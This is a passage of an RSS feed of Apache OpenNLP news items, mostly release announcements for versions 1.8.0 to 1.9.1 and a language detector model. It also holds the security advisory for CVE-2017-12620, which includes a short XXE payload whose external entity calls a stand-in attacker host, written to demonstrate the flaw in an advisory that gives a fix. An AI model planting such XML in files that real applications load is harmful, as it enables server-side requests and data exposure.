&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.1 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Add TrigramNameFeatureGeneratorFactory&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Documentation updates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unit test improvements.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TokenFeatureGeneratorFactory now allows to set lowercase flag.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use ja for Japanese language code rather than jp.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use hash to avoid linear search in DefaultEndOfSentenceScanner.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Opennlp allows setting the heap size.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Builds with Java 11.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use daemon threads in executor services.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Allow for iterating through word vector table tokens.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.9.0 released</title>
      <link>https://opennlp.apache.org/news/release-190.html</link>
      <pubDate>Mon, 2 Jul 2018 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-190.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.9.0.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.9.0 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_9_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.9.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces new features, improvements and bug fixes. Java 1.8 and Maven 3.3.9 are required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Brat Document Parser should support name type filters&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Brat format support fails on multi fragment annotations&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove MD5 hashes from Release process&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use String[] instead of StringList in LanguageModel API&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;BRAT Annotator service Fails to start&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Token model creation fails without at least one &amp;lt;SPLIT&amp;gt; tag&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Update Penn Treebank URL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Explain the new format of feature generator XML config&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Unify code to sum up input context features&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;FeatureGeneratorUtil can recognize Japanese Hiragana and Katakana letters&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.8.4 released</title>
      <link>https://opennlp.apache.org/news/release-184.html</link>
      <pubDate>Sun, 24 Dec 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-184.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.8.4.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.8.4 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_8_4&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.8.4&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces new features, improvements and bug fixes. Java 1.8 and Maven 3.3.9 are required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Remove Tokenizer param from Doccat trainer CLI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add annotator notes to BratAnnotator&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add 20Newsgroups format support to the doccat component&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removed WordVector toArray methods&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Removed deprecated leipzig doccat format support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add filename to overlapping annotation exception in NameSample&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Resolved concurrency issue in POS tagger&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Brat Annotation Service does not serialize results appropriately&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Language Detector Model for Apache OpenNLP released</title>
      <link>https://opennlp.apache.org/news/model-langdetect-183.html</link>
      <pubDate>Thu, 2 Nov 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/model-langdetect-183.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;TThe Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Language Detector Model 1.8.3 for Apache OpenNLP 1.8.3.
The Language Detector Model can detect 103 languages and outputs ISO 639-3 codes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP model and reports are available for download from our
&lt;a href=&quot;https://opennlp.apache.org/models.html&quot;&gt;model download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This is the first release of the Language Detector Model. It is compatible with Apache OpenNLP 1.8.3 or better.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It is important to note that this model is trained for and works well with longer texts that have at least two sentences or more from the same language.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;More information about this release can be found in the &lt;em&gt;README.txt&lt;/em&gt; at:
&lt;a href=&quot;https://downloads.apache.org/opennlp/models/langdetect/1.8.3/README.txt&quot; class=&quot;bare&quot;&gt;https://downloads.apache.org/opennlp/models/langdetect/1.8.3/README.txt&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Details about this model effectiveness can be found in the following report:
&lt;a href=&quot;https://downloads.apache.org/opennlp/models/langdetect/1.8.3/langdetect-183.bin.report.txt&quot; class=&quot;bare&quot;&gt;https://downloads.apache.org/opennlp/models/langdetect/1.8.3/langdetect-183.bin.report.txt&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.8.3 released</title>
      <link>https://opennlp.apache.org/news/release-183.html</link>
      <pubDate>Fri, 27 Oct 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-183.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of Apache OpenNLP 1.8.3.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Apache OpenNLP 1.8.3 binary and source distributions are available for download from our download page: &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the Maven Dependency page for more details: &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_8_3&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.8.3&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces new features, improvements and bug fixes. Java 1.8 and Maven 3.3.9 are required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:
- New experimental API for Word Vectors and support for Glove vector files
- Code cleanups and addition of test cases
- Java 9 module name is now set to org.apache.opennlp.tools
- All Sample objects now implement Serializable to better work with distributed frameworks like Apache Flink&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;For a complete list of fixed bugs and improvements please see the README.html file included in the distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>CVE-2017-12620 - Apache OpenNLP XXE vulnerability</title>
      <link>https://opennlp.apache.org/news/cve-2017-12620.html</link>
      <pubDate>Mon, 2 Oct 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/cve-2017-12620.html</guid>
      	<description>
	&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Severity: Medium&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Vendor:
The Apache Software Foundation&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Versions Affected:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP 1.5.0 to 1.5.3&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP 1.6.0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP 1.7.0 to 1.7.2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;OpenNLP 1.8.0 to 1.8.1&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Description:
When loading models or dictionaries that contain XML it is possible to
perform an XXE attack, since OpenNLP is a library, this only affects
applications that load models or dictionaries from untrusted sources.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Mitigation:
All users who load models or XML dictionaries from untrusted sources
should update to 1.8.2.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;An attacker can place this:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&amp;lt;?xml version=&quot;1.0&quot; ?&amp;gt;
&amp;lt;!DOCTYPE r [
&amp;lt;!ELEMENT r ANY &amp;gt;
&amp;lt;!ENTITY sp SYSTEM &quot;http://evil.attacker.com/&quot;&amp;gt;
]&amp;gt;
&amp;lt;r&amp;gt;&amp;amp;sp;&amp;lt;/r&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Inside one of the XML files, either a dictionary or embedded inside a
model package, to demonstrate this vulnerability.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Credit:
This issue was discovered by ﻿Nishil Shah of Salesforce.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.8.2 released</title>
      <link>https://opennlp.apache.org/news/release-182.html</link>
      <pubDate>Fri, 15 Sep 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-182.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.8.2 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.8.2 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 8 is required. Maven 3.3.9 is required for building the Source Distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;To build everything execute the following command in the root folder: &lt;code&gt;mvn clean install&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The results of the build will be placed in: &lt;code&gt;opennlp-distr/target/apache-opennlp-1.8.2-bin.tar.gz&lt;/code&gt; (or &lt;code&gt;.zip&lt;/code&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_8_2&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.8.2&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces some minor improvements and bug fixes. Java 1.8 is required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The release contains the following noteworthy changes:
- The Leipzig format support was improved to extract data for langdetect model training
- Maxents loglikelihood threshold can be configured by the user
- Added data verification for the eval data
- Fixed handling of xml parsers used through out the package&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Thanks again to all contributors and committers for their help.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.8.1 released</title>
      <link>https://opennlp.apache.org/news/release-181.html</link>
      <pubDate>Sat, 8 Jul 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-181.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.8.1 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.8.1 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 1.8 is required to run OpenNLP Maven 3.3.9 is required for building it building from the Source Distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;To build everything execute the following command in the root folder: &lt;code&gt;mvn clean install&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The results of the build will be placed in: &lt;code&gt;opennlp-distr/target/apache-opennlp-1.8.1-bin.tar.gz&lt;/code&gt; (or &lt;code&gt;.zip&lt;/code&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_8_1&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.8.1&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes. The API has been improved for a better consistency and many deprecated methods were removed. Java 1.8 is required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;A new Language Detection Component&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support for Irish Sentence Bank formats&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Support to train the sentence detector and tokenizer on the UD corpus&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Evaluation tests now support ISO-639-3 language codes&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Convenience methods to load models from a path&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Refactored the Data Indexer Code&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Optimized NGram creation loop to better leverage CPU cache&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Refactored BratNameSampleStream&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remove deprecated code from util package&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Redesigned web site - &lt;a href=&quot;https://opennlp.apache.org&quot; class=&quot;bare&quot;&gt;https://opennlp.apache.org&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;New logo for the project&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A detailed list of the issues related to this release can be found in the release notes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Thanks again to all contributors and committers for their help.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;--The Apache OpenNLP Team&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>Apache OpenNLP 1.8.0 released</title>
      <link>https://opennlp.apache.org/news/release-180.html</link>
      <pubDate>Fri, 19 May 2017 00:00:00 +0000</pubDate>
      <guid isPermaLink="false">news/release-180.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP team is pleased to announce the release of version 1.8.0 of Apache OpenNLP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The Apache OpenNLP library is a machine learning based toolkit for the processing of natural language text.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;It supports the most common NLP tasks, such as tokenization, sentence segmentation, part-of-speech tagging, named entity extraction, chunking, parsing, and coreference resolution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP 1.8.0 binary and source distributions are available for download from our &lt;a href=&quot;/download.html&quot;&gt;download page&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The OpenNLP library is distributed by Maven Central as well. See the &lt;a href=&quot;/maven-dependency.html&quot;&gt;Maven Dependency&lt;/a&gt; page for more details.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Java 1.8 is required to run OpenNLP Maven 3.3.9 is required for building it building from the Source Distribution.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;To build everything execute the following command in the root folder: &lt;code&gt;mvn clean install&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;The results of the build will be placed in: &lt;code&gt;opennlp-distr/target/apache-opennlp-1.8.0-bin.tar.gz&lt;/code&gt; (or &lt;code&gt;.zip&lt;/code&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;whats_new_in_apache_opennlp_1_8_0&quot;&gt;What&amp;#8217;s new in Apache OpenNLP 1.8.0&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;This release introduces many new features, improvements and bug fixes. The API has been improved for a better consistency and many deprecated methods were removed. Java 1.8 is required.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Additionally, the release contains the following noteworthy changes:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;POS Tagger context generator now supports feature generation XML&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add a Name Finder feature generator that adds POS Tag features&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Add CONLL-U format support&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Improve default Name Finder settings&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;TokenNameFinderEvaluator CLI now support nameTypes argument&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
